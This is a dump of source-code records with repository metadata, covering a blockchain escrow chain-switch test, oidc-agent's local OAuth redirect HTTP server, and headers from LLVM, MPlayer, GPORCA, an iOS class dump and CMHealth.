chain switching // \- 34- 35- 36- 37- chain B // a rn w a - confirmed acceptance, rn - release normal, w - wallet refresh eam_test_data_t data = eam_test_data_t(alice_bob_start_amount, start_amount_outs_default, cpd, { // chain A eam_event_t(30, 0, eam_event_proposal(eam_tx_make_and_confirm)), eam_event_t(31, 0, eam_event_refresh_and_check(1, contract_states::proposal_sent, contract_states::proposal_sent)), eam_event_t(32, 0, eam_event_acceptance(eam_tx_make)), eam_event_t(33, 0, eam_event_noop(), "33"), eam_event_t(34, 0, eam_event_acceptance(eam_tx_confirm)), eam_event_t(35, 0, eam_event_refresh_and_check(4, contract_states::contract_accepted, contract_states::contract_accepted)), // 4 blocks: 31..34 eam_event_t(36, 0, eam_event_go_to("33")), // make block 33 being prev for the next one // chain B eam_event_t(35, 0, eam_event_acceptance(eam_tx_confirm)), eam_event_t(36, 0, eam_event_release(eam_tx_make_and_confirm)), // chain switch should happen here eam_event_t(37, 0, eam_event_refresh_and_check(3, contract_states::contract_released_normal, contract_states::contract_released_normal)), // detach 34..35, update 34..36 }); }; // subtest 4 - chain switch after unconfirmed acceptance, confirmed acceptance goes to altchain and expires template<> struct escrow_altchain_meta_test_data<4> { constexpr static uint64_t alice_bob_start_amount = TESTS_DEFAULT_FEE * 1000; bc_services::contract_private_details cpd = { "title", "comment", currency::null_pub_addr, currency::null_pub_addr, // a_addr and b_addr, will be set in generate() TESTS_DEFAULT_FEE * 10, // amount_to_pay TESTS_DEFAULT_FEE * 50, // amount_a_pledge TESTS_DEFAULT_FEE * 50, // amount_b_pledge }; constexpr static uint64_t a_proposal_fee = TESTS_DEFAULT_FEE * 3; constexpr static uint64_t b_acceptance_fee = TESTS_DEFAULT_FEE * 4; constexpr static uint64_t b_release_fee = TESTS_DEFAULT_FEE * 2; // proposal valid period // +-----------------------+ // 30- 31- 32- 33- 34- 35- chain A // p w (a) w | a w p - confirmed proposal, (a) - unconfirmed acceptance, a - confirmed acceptance, w - wallet refresh // | ! ! - block triggered chain switching // \- 34- 35- 36- 37- 38- 39- 40- 41- 42- chain B // w t w w - wallet refresh, t - money transfer eam_test_data_t data = eam_test_data_t(alice_bob_start_amount, 2 /* only two transfer for both */, cpd, { // chain A eam_event_t(30, 0, eam_event_proposal(eam_tx_make_and_confirm, a_proposal_fee, b_release_fee, 0, 0)), // expiration period is 0, tx will expire as soon as ts median moves enough eam_event_t(31, 0, eam_event_refresh_and_check(1, contract_states::proposal_sent, contract_states::proposal_sent)), eam_event_t(32, 0, eam_event_acceptance(eam_tx_make, b_acceptance_fee)), //eam_event_t(33, 0, eam_event_noop(), "33"), eam_event_t(33, 0, eam_event_refresh_and_check(2, contract_states::contract_accepted, contract_states::contract_accepted), "33"), // update 31..32 eam_event_t(34, 0, eam_event_acceptance(eam_tx_confirm)), // should be okay, tx is not expired yet due to median lag eam_event_t(35, 0, eam_event_refresh_and_check(2, contract_states::contract_accepted, contract_states::contract_accepted, alice_bob_start_amount - a_proposal_fee - cpd.amount_a_pledge - cpd.amount_to_pay, alice_bob_start_amount - b_acceptance_fee - b_release_fee - cpd.amount_b_pledge)), // update 33..34 eam_event_t(36, 0, eam_event_go_to("33")), // make block 33 being prev for the next one // chain B eam_event_t(40, 0, eam_event_refresh_and_check(6, eam_contract_state_none, eam_contract_state_none, alice_bob_start_amount - a_proposal_fee, alice_bob_start_amount)), // detach 34..35, update 34..39 eam_event_t(41, 0, eam_event_transfer(wallet_test::ALICE_ACC_IDX, wallet_test::BOB_ACC_IDX, alice_bob_start_amount - a_proposal_fee - TESTS_DEFAULT_FEE, TESTS_DEFAULT_FEE)), // make sure money are completely unlocked eam_event_t(42, 0, eam_event_refresh_and_check(2, eam_contract_state_none, eam_contract_state_none, 0, 2 * alice_bob_start_amount - a_proposal_fee - TESTS_DEFAULT_FEE)), // update 41..42 }); }; // subtest 5 - chain switch after p,(a) (confirmed proposal and unconfirmed acceptance) template<> struct escrow_altchain_meta_test_data<5> { constexpr static uint64_t alice_bob_start_amount = TESTS_DEFAULT_FEE * 1000; bc_services::contract_private_details cpd = { "title", "comment", currency::null_pub_addr, currency::null_pub_addr, // a_addr and b_addr, will be set in generate() TESTS_DEFAULT_FEE * 10, // amount_to_pay TESTS_DEFAULT_FEE * 50, // amount_a_pledge TESTS_DEFAULT_FEE * 50, // amount_b_pledge }; // proposal valid period // +-----------------------+ // 30- 31- 32- 33- 34- 35- chain A // p w (a) | a w p - confirmed proposal, (a) - unconfirmed acceptance, a - confirmed acceptance, w - wallet refresh // | ! ! - block triggered chain switching // \- 34- 35- 36- 37- 38- 39- 40- chain B // a rn w a - confirmed acceptance, rn - release normal eam_test_data_t data = eam_test_data_t(alice_bob_start_amount, start_amount_outs_default, cpd, { // chain A eam_event_t(30, 0, eam_event_proposal(eam_tx_make_and_confirm, TESTS_DEFAULT_FEE, TESTS_DEFAULT_FEE, 0, DIFFICULTY_POW_TARGET * 2)), // expiration period is 2 pow targets eam_event_t(31, 0, eam_event_refresh_and_check(1, contract_states::proposal_sent, contract_states::proposal_sent)), eam_event_t(32, 0, eam_event_acceptance(eam_tx_make)), eam_event_t(33, 0, eam_event_noop(), "33"), eam_event_t(34, 0, eam_event_acceptance(eam_tx_confirm)), // should be okay, tx is not expired yet due to median lag eam_event_t(35, 0, eam_event_refresh_and_check(4, contract_states::contract_accepted, contract_states::contract_accepted)), // 4 blocks: 31..34 eam_event_t(36, 0, eam_event_go_to("33")), // make block 33 being prev for the next one // chain B eam_event_t(35, 0, eam_event_acceptance(eam_tx_confirm)), eam_event_t(38, 0, eam_event_release(eam_tx_make_and_confirm)), // chain switch should happen here eam_event_t(39, 0, eam_event_refresh_and_check(5, contract_states::contract_released_normal, contract_states::contract_released_normal)), // detach 34..35, update 34..38 }); }; // subtest 6 - chain switch before p (confirmed proposal) template<> struct escrow_altchain_meta_test_data<6> { constexpr static uint64_t alice_bob_start_amount = TESTS_DEFAULT_FEE * 1000; bc_services::contract_private_details cpd = { "title", "comment", currency::null_pub_addr, currency::null_pub_addr, // a_addr and b_addr, will be set in generate() TESTS_DEFAULT_FEE * 10, // amount_to_pay TESTS_DEFAULT_FEE * 50, // amount_a_pledge TESTS_DEFAULT_FEE * 50, // amount_b_pledge }; // 30- 31- 32- 33- 34- 35- chain A // | p w a w (rn) p - confirmed proposal, a - confirmed acceptance, w - wallet refresh, (rn) - unconfirmed release normal // | ! ! - triggers chain switching // \ 31- 32- 33- 34- 35- 36- 37- chain B // p a rn w eam_test_data_t data = eam_test_data_t(alice_bob_start_amount, start_amount_outs_default, cpd, { // chain A eam_event_t(30, 0, eam_event_noop(), "30"), eam_event_t(31, 0, eam_event_proposal(eam_tx_make_and_confirm)), eam_event_t(32, 0, eam_event_refresh_and_check(2, contract_states::proposal_sent, contract_states::proposal_sent)), eam_event_t(33, 0, eam_event_acceptance(eam_tx_make_and_confirm)), eam_event_t(34, 0, eam_event_refresh_and_check(2, contract_states::contract_accepted, contract_states::contract_accepted)), eam_event_t(35, 0, eam_event_release(eam_tx_make)), eam_event_t(36, 0, eam_event_go_to("30")), // chain B eam_event_t(32, 0, eam_event_proposal(eam_tx_confirm)), eam_event_t(33, 0, eam_event_acceptance(eam_tx_confirm)), eam_event_t(34, 0, eam_event_release(eam_tx_confirm)), eam_event_t(37, 0, eam_event_refresh_and_check(6, contract_states::contract_released_normal, contract_states::contract_released_normal)), // detach 31..35, update 31..36 }); }; // subtest 7 - cancellation proposal expiration in main chain (no switching) template<> struct escrow_altchain_meta_test_data<7> { constexpr static uint64_t alice_bob_start_amount = TESTS_DEFAULT_FEE * 1000; bc_services::contract_private_details cpd = { "title", "comment", currency::null_pub_addr, currency::null_pub_addr, // a_addr and b_addr, will be set in generate() TESTS_DEFAULT_FEE * 10, // amount_to_pay TESTS_DEFAULT_FEE * 50, // amount_a_pledge TESTS_DEFAULT_FEE * 50, // amount_b_pledge }; // cp expiration // +-------+ // 30- 31- 32- 33- 34- 35- 36- ... 45- chain A // p w a w cp w w p - confirmed proposal, a - confirmed acceptance, w - wallet refresh, cp - cancellation proposal // eam_test_data_t data = eam_test_data_t(alice_bob_start_amount, start_amount_outs_default, cpd, { // chain A eam_event_t(30, 0, eam_event_noop()), eam_event_t(31, 0, eam_event_proposal(eam_tx_make_and_confirm)), eam_event_t(32, 0, eam_event_refresh_and_check(2, contract_states::proposal_sent, contract_states::proposal_sent)), eam_event_t(33, 0, eam_event_acceptance(eam_tx_make_and_confirm)), eam_event_t(34, 0, eam_event_refresh_and_check(2, contract_states::contract_accepted, contract_states::contract_accepted)), eam_event_t(35, 0, eam_event_cancellation_proposal(eam_tx_make_and_confirm, TESTS_DEFAULT_FEE, 0)), // zero expiration period eam_event_t(36, 0, eam_event_refresh_and_check(2, contract_states::contract_cancel_proposal_sent, contract_states::contract_cancel_proposal_sent)), eam_event_t(45, 0, eam_event_refresh_and_check(9, contract_states::contract_accepted, contract_states::contract_accepted)), }); }; // subtest 8 - chain switch after unconfirmed cancellation proposal template<> struct escrow_altchain_meta_test_data<8> { constexpr static uint64_t alice_bob_start_amount = TESTS_DEFAULT_FEE * 1000; bc_services::contract_private_details cpd = { "title", "comment", currency::null_pub_addr, currency::null_pub_addr, // a_addr and b_addr, will be set in generate() TESTS_DEFAULT_FEE * 10, // amount_to_pay TESTS_DEFAULT_FEE * 50, // amount_a_pledge TESTS_DEFAULT_FEE * 50, // amount_b_pledge }; constexpr static uint64_t a_proposal_fee = TESTS_DEFAULT_FEE * 3; constexpr static uint64_t b_acceptance_fee = TESTS_DEFAULT_FEE * 4; constexpr static uint64_t b_release_fee = TESTS_DEFAULT_FEE * 2; constexpr static uint64_t a_cancellation_fee = TESTS_DEFAULT_FEE * 5; // cp expiration // +--------------------+ // 30- 31- 32- 33- 34- 35- 36- 37- 38- 39- 40- 41- chain A // p w a w (cp) w | cp w rc w p - confirmed proposal, a - confirmed acceptance, w - wallet refresh // \ (cp) - unconfirmed cancellation proposal, cp - confirmed cancellation proposal, rc - release cancel // \- 38- 39- 40- 41- ... 45- chain B // cp w rc w ! ! - chain switch eam_test_data_t data = eam_test_data_t(alice_bob_start_amount, start_amount_outs_default, cpd, { // chain A eam_event_t(30, 0, eam_event_noop()), eam_event_t(31, 0, eam_event_proposal(eam_tx_make_and_confirm, a_proposal_fee, b_release_fee)), eam_event_t(32, 0, eam_event_refresh_and_check(2, contract_states::proposal_sent, contract_states::proposal_sent)), eam_event_t(33, 0, eam_event_acceptance(eam_tx_make_and_confirm, b_acceptance_fee)), eam_event_t(34, 0, eam_event_refresh_and_check(2, contract_states::contract_accepted, contract_states::contract_accepted)), eam_event_t(35, 0, eam_event_cancellation_proposal(eam_tx_make, a_cancellation_fee, 120)), // 61 is the minimum, 60 is not enough eam_event_t(36, 0, eam_event_refresh_and_check(2, contract_states::contract_cancel_proposal_sent, contract_states::contract_cancel_proposal_sent)), eam_event_t(37, 0, eam_event_noop(), "37"), eam_event_t(38, 0, eam_event_cancellation_proposal(eam_tx_confirm)), eam_event_t(39, 0, eam_event_refresh_and_check(3, contract_states::contract_cancel_proposal_sent, contract_states::contract_cancel_proposal_sent)), eam_event_t(40, 0, eam_event_release_cancel(eam_tx_make_and_confirm)), eam_event_t(41, 0, eam_event_refresh_and_check(2, contract_states::contract_released_cancelled, contract_states::contract_released_cancelled, alice_bob_start_amount - a_proposal_fee - a_cancellation_fee, alice_bob_start_amount - b_acceptance_fee - b_release_fee)), eam_event_t(42, 0, eam_event_go_to("37")), // chain B eam_event_t(38, 0, eam_event_cancellation_proposal(eam_tx_confirm)), //eam_event_t(39, 0, eam_event_refresh_and_check(1, contract_states::contract_cancel_proposal_sent, contract_states::contract_cancel_proposal_sent)), //eam_event_t(40, 0, eam_event_release_cancel(eam_tx_make_and_confirm)), //eam_event_t(45, 0, eam_event_refresh_and_check(2, contract_states::contract_released_cancelled, contract_states::contract_released_cancelled, // alice_bob_start_amount - a_proposal_fee - a_cancellation_fee, // alice_bob_start_amount - b_acceptance_fee - b_release_fee)), }); }; //============================================================================================================================== struct escrow_altchain_meta_impl : public wallet_test { escrow_altchain_meta_impl(const eam_test_data_t &etd); bool generate(std::vector<test_event_entry>& events) const; bool c1(currency::core& c, size_t ev_index, const std::vector<test_event_entry>& events); bool handle_event_proposal(currency::core& c, std::shared_ptr<tools::wallet2> alice_wlt, const eam_event_proposal& se); bool handle_event_acceptance(currency::core& c, std::shared_ptr<tools::wallet2> bob_wlt, const eam_event_acceptance& se); bool handle_event_release(currency::core& c, std::shared_ptr<tools::wallet2> alice_wlt, const eam_event_release& se); bool handle_event_cancellation_proposal(currency::core& c, std::shared_ptr<tools::wallet2> alice_wlt, const eam_event_cancellation_proposal& se); bool handle_event_release_cancel(currency::core& c, std::shared_ptr<tools::wallet2> alice_wlt, const eam_event_release_cancel& se); private: bool mine_next_block_with_tx(currency::core& c, const currency::transaction& tx); bool mine_next_block_with_no_tx(currency::core& c); mutable eam_test_data_t m_etd; crypto::hash m_last_block_hash; uint64_t m_last_block_height; }; template<int test_data_idx> struct escrow_altchain_meta_test : virtual public test_chain_unit_base { typedef escrow_altchain_meta_test<test_data_idx> this_t; escrow_altchain_meta_test() : m_impl(escrow_altchain_meta_test_data<test_data_idx>().data) { REGISTER_CALLBACK_METHOD(this_t, c1); } bool generate(std::vector<test_event_entry>& events) const { return m_impl.generate(events); } bool c1(currency::core& c, size_t ev_index, const std::vector<test_event_entry>& events) { return m_impl.c1(c, ev_index, events); } // test_chain_unit_base bool need_core_proxy() const { return m_impl.need_core_proxy(); } void set_core_proxy(std::shared_ptr<tools::i_core_proxy> p) { m_impl.set_core_proxy(p); } escrow_altchain_meta_impl m_impl; };
51.11449
308
0.72278
861006dd5701962b9a5bce4ebb6ad94c8b3c4916
424
h
C
usr/libexec/nanotimekitcompaniond/NTKDCollectionLifecycleObserver-Protocol.h
lechium/iOS1351Headers
6bed3dada5ffc20366b27f7f2300a24a48a6284e
[ "MIT" ]
2
2021-11-02T09:23:27.000Z
2022-03-28T08:21:57.000Z
usr/libexec/nanotimekitcompaniond/NTKDCollectionLifecycleObserver-Protocol.h
lechium/iOS1351Headers
6bed3dada5ffc20366b27f7f2300a24a48a6284e
[ "MIT" ]
null
null
null
usr/libexec/nanotimekitcompaniond/NTKDCollectionLifecycleObserver-Protocol.h
lechium/iOS1351Headers
6bed3dada5ffc20366b27f7f2300a24a48a6284e
[ "MIT" ]
1
2022-03-28T08:21:59.000Z
2022-03-28T08:21:59.000Z
// // Generated by classdumpios 1.0.1 (64 bit) (iOS port by DreamDevLost)(Debug version compiled Sep 26 2020 13:48:20). // // Copyright (C) 1997-2019 Steve Nygard. // #import "NSObject-Protocol.h" @class NTKDCollectionStore; @protocol NTKDCollectionLifecycleObserver <NSObject> - (void)collectionStoreWillBePurged:(NTKDCollectionStore *)arg1; - (void)collectionStoreHasBeenCreated:(NTKDCollectionStore *)arg1; @end
26.5
120
0.761792
86112683b77fa497dc495a1c5920a336ab0fcd40
5,577
c
C
src/oidc-agent/httpserver/startHttpserver.c
rizart/oidc-agent
57c1576d0024f41d4a048708335fdffda225c903
[ "MIT" ]
44
2017-11-02T14:09:00.000Z
2022-02-03T17:25:14.000Z
src/oidc-agent/httpserver/startHttpserver.c
rizart/oidc-agent
57c1576d0024f41d4a048708335fdffda225c903
[ "MIT" ]
231
2017-09-20T12:49:23.000Z
2022-03-21T13:05:32.000Z
src/oidc-agent/httpserver/startHttpserver.c
rizart/oidc-agent
57c1576d0024f41d4a048708335fdffda225c903
[ "MIT" ]
25
2018-09-24T18:07:34.000Z
2022-03-11T09:07:12.000Z
#define _GNU_SOURCE #include "startHttpserver.h" #include <fcntl.h> #include <signal.h> #include <stdlib.h> #ifdef __APPLE__ #include <sys/event.h> #include <sys/time.h> #include <sys/types.h> #else #include <sys/prctl.h> #endif #include <unistd.h> #include "ipc/ipc.h" #include "requestHandler.h" #include "running_server.h" #include "termHttpserver.h" #include "utils/agentLogger.h" #include "utils/memory.h" #include "utils/portUtils.h" #include "utils/string/stringUtils.h" #include "wrapper/list.h" /** * @param config a pointer to a json account config. * */ struct MHD_Daemon** startHttpServer(const char* redirect_uri, const char* state) { logger_open("oidc-agent.httpserver"); unsigned short port = getPortFromUri(redirect_uri); if (port == 0) { agent_log(NOTICE, "Could not get port from uri"); return NULL; } size_t cls_size = 2; struct MHD_Daemon** d_ptr = secAlloc(sizeof(struct MHD_Daemon*)); char** cls = secAlloc(sizeof(char*) * cls_size); cls[0] = oidc_strcopy(redirect_uri); cls[1] = oidc_sprintf("%hhu:%s", strEnds(redirect_uri, "/"), state); *d_ptr = MHD_start_daemon(MHD_USE_THREAD_PER_CONNECTION, port, NULL, NULL, &request_echo, cls, MHD_OPTION_END); if (*d_ptr == NULL) { agent_log(ERROR, "Error starting the HttpServer on port %d", port); oidc_errno = OIDC_EHTTPD; secFree(d_ptr); secFreeArray(cls, cls_size); return NULL; } agent_log(DEBUG, "HttpServer: Started HttpServer on port %d", port); return d_ptr; } struct MHD_Daemon** oidc_mhd_daemon_ptr = NULL; #ifdef __APPLE__ // void noteProcDeath(CFFileDescriptorRef fdref, CFOptionFlags callBackTypes, // void* info) { // struct kevent kev; // int fd = CFFileDescriptorGetNativeDescriptor(fdref); // kevent(fd, NULL, 0, &kev, 1, NULL); // // take action on death of process here // unsigned int dead_pid = (unsigned int)kev.ident; // // CFFileDescriptorInvalidate(fdref); // CFRelease(fdref); // // int our_pid = getpid(); // exit(EXIT_FAILURE); // } // // void suicide_if_we_become_a_zombie() { // int parent_pid = getppid(); // int fd = kqueue(); // struct kevent kev; // EV_SET(&kev, parent_pid, EVFILT_PROC, EV_ADD | EV_ENABLE, NOTE_EXIT, 0, // NULL); kevent(fd, &kev, 1, NULL, 0, NULL); CFFileDescriptorRef fdref = // CFFileDescriptorCreate(kCFAllocatorDefault, fd, // true, noteProcDeath, // NULL); // CFFileDescriptorEnableCallBacks(fdref, kCFFileDescriptorReadCallBack); // CFRunLoopSourceRef source = // CFFileDescriptorCreateRunLoopSource(kCFAllocatorDefault, fdref, 0); // CFRunLoopAddSource(CFRunLoopGetMain(), source, kCFRunLoopDefaultMode); // CFRelease(source); // } #endif void http_sig_handler(int signo) { switch (signo) { case SIGTERM: sleep(5); stopHttpServer(oidc_mhd_daemon_ptr); break; default: agent_log(EMERGENCY, "HttpServer caught Signal %d", signo); } exit(signo); } oidc_error_t fireHttpServer(list_t* redirect_uris, size_t size, char** state_ptr) { int fd[2]; #ifdef __APPLE__ if (pipe(fd) != 0) { #else if (pipe2(fd, O_DIRECT) != 0) { #endif oidc_setErrnoError(); return oidc_errno; } pid_t pid = fork(); if (pid == -1) { agent_log(ALERT, "fork %m"); oidc_setErrnoError(); return oidc_errno; } if (pid == 0) { // child #ifdef __APPLE__ // suicide_if_we_become_a_zombie(); #else prctl(PR_SET_PDEATHSIG, SIGTERM); #endif close(fd[0]); size_t i; for (i = 0; i < size && oidc_mhd_daemon_ptr == NULL; i++) { oidc_mhd_daemon_ptr = startHttpServer(list_at(redirect_uris, i)->val, *state_ptr); } if (oidc_mhd_daemon_ptr == NULL) { ipc_write(fd[1], "%d", OIDC_EHTTPPORTS); close(fd[1]); exit(EXIT_FAILURE); } const char* used_uri = list_at(redirect_uris, i - 1)->val; ipc_write(fd[1], "%hu", getPortFromUri(used_uri)); close(fd[1]); signal(SIGTERM, http_sig_handler); sigset_t sigset; sigemptyset(&sigset); sigaddset(&sigset, SIGTERM); sigsuspend(&sigset); return OIDC_ENOPE; } else { // parent close(fd[1]); char* e = ipc_read(fd[0]); close(fd[0]); if (e == NULL) { return oidc_errno; } char** endptr = secAlloc(sizeof(char*)); long int port = strtol(e, endptr, 10); if (**endptr != '\0') { secFree(endptr); secFree(e); oidc_errno = OIDC_EERROR; oidc_seterror("Internal error. Could not convert pipe communication."); return oidc_errno; } secFree(endptr); secFree(e); if (port < 0) { oidc_errno = port; agent_log(ERROR, "HttpServer Start Error: %s", oidc_serror()); return oidc_errno; } char* used_uri = NULL; for (size_t i = 0; i < size; i++) { unsigned short p = getPortFromUri(list_at(redirect_uris, i)->val); if (p == port) { used_uri = list_at(redirect_uris, i)->val; } } char* tmp = oidc_sprintf("%hhu:%s", strEnds(used_uri, "/"), *state_ptr); secFree(*state_ptr); *state_ptr = tmp; struct running_server* running_server = secAlloc(sizeof(struct running_server)); running_server->pid = pid; running_server->state = oidc_strcopy(*state_ptr); addServer(running_server); return port; } }
29.983871
77
0.62184
86114a1bb5dbe861cde89665588ab0e665cd0821
2,781
h
C
source/llvm/LLVMIncludes.h
tonyxwz/roadrunner
91c2cc091aecc1a618423aa396c48d105d21549c
[ "Apache-2.0" ]
null
null
null
source/llvm/LLVMIncludes.h
tonyxwz/roadrunner
91c2cc091aecc1a618423aa396c48d105d21549c
[ "Apache-2.0" ]
null
null
null
source/llvm/LLVMIncludes.h
tonyxwz/roadrunner
91c2cc091aecc1a618423aa396c48d105d21549c
[ "Apache-2.0" ]
null
null
null
/* * LLVMIncludes.h * * Created on: Jun 29, 2013 * Author: andy */ #ifndef RRLLVMINCLUDES_H_ #define RRLLVMINCLUDES_H_ #if !defined(LLVM_VERSION_MINOR) // this is likely a very common macro, so save it #pragma push_macro("CONFIG_H") #include <llvm/Config/llvm-config.h> #pragma pop_macro("CONFIG_H") #endif #pragma push_macro("min") #pragma push_macro("max") #undef min #undef max #ifdef _MSC_VER #pragma warning( push ) #pragma warning( disable : 4355 ) #pragma warning( disable : 4244 ) #endif #if (LLVM_VERSION_MAJOR == 6) #include <llvm/IR/DataLayout.h> #include <llvm/IR/DerivedTypes.h> #include <llvm/IR/IRBuilder.h> #include <llvm/IR/LLVMContext.h> #include <llvm/IR/Module.h> #include <llvm/IR/Intrinsics.h> #include <llvm/IR/Verifier.h> #elif (LLVM_VERSION_MAJOR == 3) && (LLVM_VERSION_MINOR >= 5) #include <llvm/IR/DataLayout.h> #include <llvm/IR/DerivedTypes.h> #include <llvm/IR/IRBuilder.h> #include <llvm/IR/LLVMContext.h> #include <llvm/IR/Module.h> #include <llvm/IR/Intrinsics.h> #include <llvm/IR/Verifier.h> #elif (LLVM_VERSION_MAJOR == 3) && ((LLVM_VERSION_MINOR == 3) || (LLVM_VERSION_MINOR == 4)) #include <llvm/IR/DataLayout.h> #include <llvm/IR/DerivedTypes.h> #include <llvm/IR/IRBuilder.h> #include <llvm/IR/LLVMContext.h> #include <llvm/IR/Module.h> #include <llvm/IR/Intrinsics.h> #include <llvm/Analysis/Verifier.h> #elif (LLVM_VERSION_MAJOR == 3) && (LLVM_VERSION_MINOR == 2) #include <llvm/DataLayout.h> #include <llvm/DerivedTypes.h> #include <llvm/IRBuilder.h> #include <llvm/LLVMContext.h> #include <llvm/Module.h> #include <llvm/Intrinsics.h> #include <llvm/Analysis/Verifier.h> #elif (LLVM_VERSION_MAJOR == 3) && (LLVM_VERSION_MINOR == 1) #include <llvm/DerivedTypes.h> #include <llvm/ExecutionEngine/ExecutionEngine.h> #include <llvm/ExecutionEngine/JIT.h> #include <llvm/LLVMContext.h> #include <llvm/Module.h> #include <llvm/PassManager.h> #include <llvm/Target/TargetData.h> #include <llvm/Transforms/Scalar.h> #include <llvm/Support/IRBuilder.h> #include <llvm/Support/TargetSelect.h> #include <llvm/Analysis/Verifier.h> #else #error "Unsupported LLVM Version, require LLVM >= 3.1" #endif #include <llvm/Analysis/Passes.h> #include <llvm/ExecutionEngine/ExecutionEngine.h> #include <llvm/ExecutionEngine/MCJIT.h> #include <llvm/IR/PassManager.h> #include <llvm/Support/TargetSelect.h> #include <llvm/Transforms/Scalar.h> #include <llvm/Support/raw_ostream.h> #include <llvm/Analysis/TargetLibraryInfo.h> #include <llvm/Support/raw_ostream.h> #include <llvm/Support/Host.h> #ifdef _MSC_VER #pragma warning( pop ) #endif #pragma pop_macro("min") #pragma pop_macro("max") namespace rrllvm { /** * C++ 11 style to_string for LLVM types */ std::string to_string(const llvm::Value *); } #endif /* RRLLVMINCLUDES_H_ */
25.75
91
0.738943
86123b77258c421d30610bafb1f76697c368c169
1,449
h
C
mplayer/libmpdemux/aviprint.h
qinjidong/EasyMPlayer
76a8d052dd7a2d5f1916fdc32b07088d127ee5da
[ "Apache-2.0" ]
null
null
null
mplayer/libmpdemux/aviprint.h
qinjidong/EasyMPlayer
76a8d052dd7a2d5f1916fdc32b07088d127ee5da
[ "Apache-2.0" ]
null
null
null
mplayer/libmpdemux/aviprint.h
qinjidong/EasyMPlayer
76a8d052dd7a2d5f1916fdc32b07088d127ee5da
[ "Apache-2.0" ]
3
2016-05-03T05:57:19.000Z
2021-11-10T21:34:00.000Z
/* * This file is part of MPlayer. * * MPlayer is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * MPlayer is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with MPlayer; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ #ifndef MPLAYER_AVIPRINT_H #define MPLAYER_AVIPRINT_H #include "ms_hdr.h" #include "aviheader.h" void print_avih_flags(MainAVIHeader *h, int verbose_level); void print_avih(MainAVIHeader *h, int verbose_level); void print_strh(AVIStreamHeader *h, int verbose_level); void print_wave_header(WAVEFORMATEX *h, int verbose_level); void print_video_header(BITMAPINFOHEADER *h, int verbose_level); void print_vprp(VideoPropHeader *vprp, int verbose_level); void print_index(AVIINDEXENTRY *idx, int idx_size, int verbose_level); void print_avistdindex_chunk(avistdindex_chunk *h, int verbose_level); void print_avisuperindex_chunk(avisuperindex_chunk *h, int verbose_level); #endif /* MPLAYER_AVIPRINT_H */
40.25
74
0.782609
8612f4b43b2ea22aee62a75400bcfa8d48a09cda
362
h
C
Pod/Classes/CMHealth.h
geoffrey-young/CMHealthSDK
d15cb3defeec4d1c9bfde3c17188dcd47c6339fe
[ "MIT" ]
null
null
null
Pod/Classes/CMHealth.h
geoffrey-young/CMHealthSDK
d15cb3defeec4d1c9bfde3c17188dcd47c6339fe
[ "MIT" ]
null
null
null
Pod/Classes/CMHealth.h
geoffrey-young/CMHealthSDK
d15cb3defeec4d1c9bfde3c17188dcd47c6339fe
[ "MIT" ]
null
null
null
#import <ResearchKit/ResearchKit.h> #import "CMHErrors.h" #import "CMHUserData.h" #import "CMHConsent.h" #import "CMHUser.h" #import "ORKResult+CMHealth.h" #import "ORKConsentSection+CMHealth.h" #import "CMHAuthViewController.h" @interface CMHealth : NSObject + (void)setAppIdentifier:(NSString *_Nonnull)identifier appSecret:(NSString *_Nonnull)secret; @end
24.133333
93
0.781768
8615a36d4422b8443fb22c0f6c8879be3bb8623e
2,634
h
C
orca/gporca/libnaucrates/include/naucrates/dxl/operators/CDXLScalarProjElem.h
vitessedata/gpdb.4.3.99.x
9462aad5df1bf120a2a87456b1f9574712227da4
[ "PostgreSQL", "Apache-2.0" ]
3
2017-12-10T16:41:21.000Z
2020-07-08T12:59:12.000Z
orca/gporca/libnaucrates/include/naucrates/dxl/operators/CDXLScalarProjElem.h
vitessedata/gpdb.4.3.99.x
9462aad5df1bf120a2a87456b1f9574712227da4
[ "PostgreSQL", "Apache-2.0" ]
null
null
null
orca/gporca/libnaucrates/include/naucrates/dxl/operators/CDXLScalarProjElem.h
vitessedata/gpdb.4.3.99.x
9462aad5df1bf120a2a87456b1f9574712227da4
[ "PostgreSQL", "Apache-2.0" ]
4
2017-12-10T16:41:35.000Z
2020-11-28T12:20:30.000Z
//--------------------------------------------------------------------------- // Greenplum Database // Copyright (C) 2010 Greenplum, Inc. // // @filename: // CDXLScalarProjElem.h // // @doc: // Class for representing DXL projection lists. // // @owner: // // // @test: // // //--------------------------------------------------------------------------- #ifndef GPDXL_CDXLScalarProjElem_H #define GPDXL_CDXLScalarProjElem_H #include "gpos/base.h" #include "naucrates/dxl/operators/CDXLScalar.h" #include "naucrates/md/CMDName.h" namespace gpdxl { using namespace gpmd; //--------------------------------------------------------------------------- // @class: // CDXLScalarProjElem // // @doc: // Container for projection list elements, storing the expression and the alias // //--------------------------------------------------------------------------- class CDXLScalarProjElem : public CDXLScalar { private: // id of column defined by this project element: // for computed columns this is a new id, for colrefs: id of the original column ULONG m_ulId; // alias const CMDName *m_pmdname; // private copy ctor CDXLScalarProjElem(CDXLScalarProjElem&); public: // ctor/dtor CDXLScalarProjElem ( IMemoryPool *pmp, ULONG ulId, const CMDName *pmdname ); virtual ~CDXLScalarProjElem(); // ident accessors Edxlopid Edxlop() const; // name of the operator const CWStringConst *PstrOpName() const; // id of the proj element ULONG UlId() const; // alias of the proj elem const CMDName *PmdnameAlias() const; // serialize operator in DXL format virtual void SerializeToDXL(CXMLSerializer *, const CDXLNode *) const; // check if given column is defined by operator virtual BOOL FDefinesColumn ( ULONG ulColId ) const { return (UlId() == ulColId); } // conversion function static CDXLScalarProjElem *PdxlopConvert ( CDXLOperator *pdxlop ) { GPOS_ASSERT(NULL != pdxlop); GPOS_ASSERT(EdxlopScalarProjectElem == pdxlop->Edxlop()); return dynamic_cast<CDXLScalarProjElem*>(pdxlop); } // does the operator return a boolean result virtual BOOL FBoolean ( CMDAccessor *//pmda ) const { GPOS_ASSERT(!"Invalid function call on a container operator"); return false; } #ifdef GPOS_DEBUG // checks whether the operator has valid structure void AssertValid(const CDXLNode *pdxln, BOOL fValidateChildren) const; #endif // GPOS_DEBUG }; } #endif // !GPDXL_CDXLScalarProjElem_H // EOF
20.578125
83
0.585801
8615ea06d875b26db109fbcd462f800feb972753
2,824
h
C
